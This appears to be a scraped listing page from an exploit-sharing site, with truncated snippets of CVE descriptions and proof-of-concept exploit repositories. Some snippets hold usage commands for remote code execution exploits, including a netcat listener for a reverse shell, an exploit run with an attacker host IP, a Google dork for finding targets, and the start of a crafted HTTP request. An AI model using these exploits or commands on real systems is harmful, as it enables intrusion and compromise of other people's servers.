CVE-2022-26134

CVE-2021-46422 RCE Instalación root@kitploit: git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2021-46422 RCE.py放到pocsuite3\pocs目录下 cd pocs Uso de pocsuite3 URL única: root@kitploit: pocsuite -r CVE-2021-46422 RCE.py -u u...

CVE-2026-84486

A flaw was found in Red Hat Ansible Automation Platform's automation- controller. Four debug views that trigger the internal task, dependency, and workflow schedulers are configured to allow any user including unauthenticated clients and are routed in production builds because their URL include i...

CVE-2026-19888

A flaw was found in PgBouncer. Missing validation of a mandatory attribute in the SCRAM client-final-message parser allows an unauthenticated remote attacker to crash the process. By sending a malformed message, the parser can report success while a required value remains unset, leading to a NULL...

CVE-2025-47577

CVE-2025-47577 - WordPress TI WooCommerce Wishlist = 2.9.2 - Arbitrary File Upload 🔥 Vulnerability Summary The WordPress plugin TI WooCommerce Wishlist version = 2.9.2 is vulnerable to an unauthenticated arbitrary file upload vulnerability. This allows attackers to upload any file type, including...

EUVD-2026-66421

RustDesk versions 1.3.9 through 1.4.9 contain a path traversal vulnerability in the macOS clipboard file-paste code path. The application accepts peer-supplied file descriptor names and joins them to the selected target directory without requiring normalized relative paths. A remote peer in an...

CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Authenticated Remote Code Execution /panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these. Exploit Usage Commands: Windows/Linux: $ sudo python3...

EUVD-2026-85544

A flaw has been found in sfturing hosporder up to 627f426331da8086ce8fff2017d65b1ddef384f8. This affects an unknown part of the file ssmpro/src/main/resources/jdbc.properties. This manipulation causes hard-coded credentials. It is possible to initiate the attack remotely. The attack's complexity ...

CVE-2026-96548

A flaw in sfturing hosp_order (up to commit 627f426331da8086ce8fff2017d65b1ddef384f8) involves an issue within the ssm_pro/src/main/resources/jdbc.properties file. This manipulation results in hard-coded credentials that can be accessed via a remote attack vector. While the attack complexity is r...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 and CVE-2024-46257 is the same POC, just change the provider param. Note Sometimes the nc file can't execute on the server or can't execute command! Install require root@kitploit: pip install requests Run Exploit root@kitploit: python3 POCCVE-2024-46256.py + Targe...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution Affected versions: 3.0.0-3.4.6 1. Vulnerability verification python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 If "Vulnerable" is displayed, the vulnerability exists. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126...

CVE-2025-50565

CVE-2025-50565 Description Doubo ERP 1.0 has an SQL injection vulnerability due to a lack of filtering of user input, which can be remotely initiated by an attacker. Vulnerability Type SQL Injection Attack Type Remote Impact Information Disclosure true Has vendor confirmed true Discoverer...

CVE-2026-36438

CVE-2026-36438: Información sensible a través del restablecimiento de contraseña Las versiones anteriores a la 6 del Intelbras VIP 1230 B/D G4 permiten que un atacante remoto obtenga información sensible de la cuenta de administrador a través de la funcionalidad de restablecimiento de contraseña ...

CVE-2025-66478

1 root@kitploit: POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data;...

CVE-2025-49619

PoC de CVE-2025-49619 Este script explota CVE-2025-49619 en Skyvern para ejecutar un comando de shell inversa. Autor Nombre: Cristian Branet GitHub: cristibtz Uso 1. Inicia un listener root@kitploit: nc -lvnp 2. Ejecuta el exploit root@kitploit: python3 exploit.py -u "http://:" -k "" -i -p : IP...

staystaystay

staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...

CVE-2015-1635-POC

CVE-2015-1635-POC MS15-034 HTTP.sys 远程执行代码检测脚本（MS15-034 HTTP.sys remote execution code poc script） 代码第7行处放置检测的IP，然后运行： python CVE-2015-1635-POC.py Place the detected IP on the seventh line of code and run: python CVE-2015-1635-POC.py...

ShadowTech-Rat

ShadowTech-Rat An example of a remote administration tool...

vmacache_CVE-2018-17182

Exploits Remote & Local Exploits...

CVE-2017-14322

CVE-2017-14322 Interspire Email Marketer emailmarketer Exploit Google Dork root@kitploit: intitle:"Control Panel" + emailmarketer Exploit using Burp Suit Add a Match and Replace for Request header like below: root@kitploit: Match: ^Cookie.$ Replace: Cookie:...

CVE-2024-26304-RCE-exploit

CVE-2024-26304 - Remote Code Execution Vulnerability in ArubaOS Overview CVE-2024-26304 is a critical remote code execution RCE vulnerability affecting ArubaOS due to a buffer overflow in its L2/L3 Management service. An attacker can exploit this by sending specially crafted packets to the PAPI...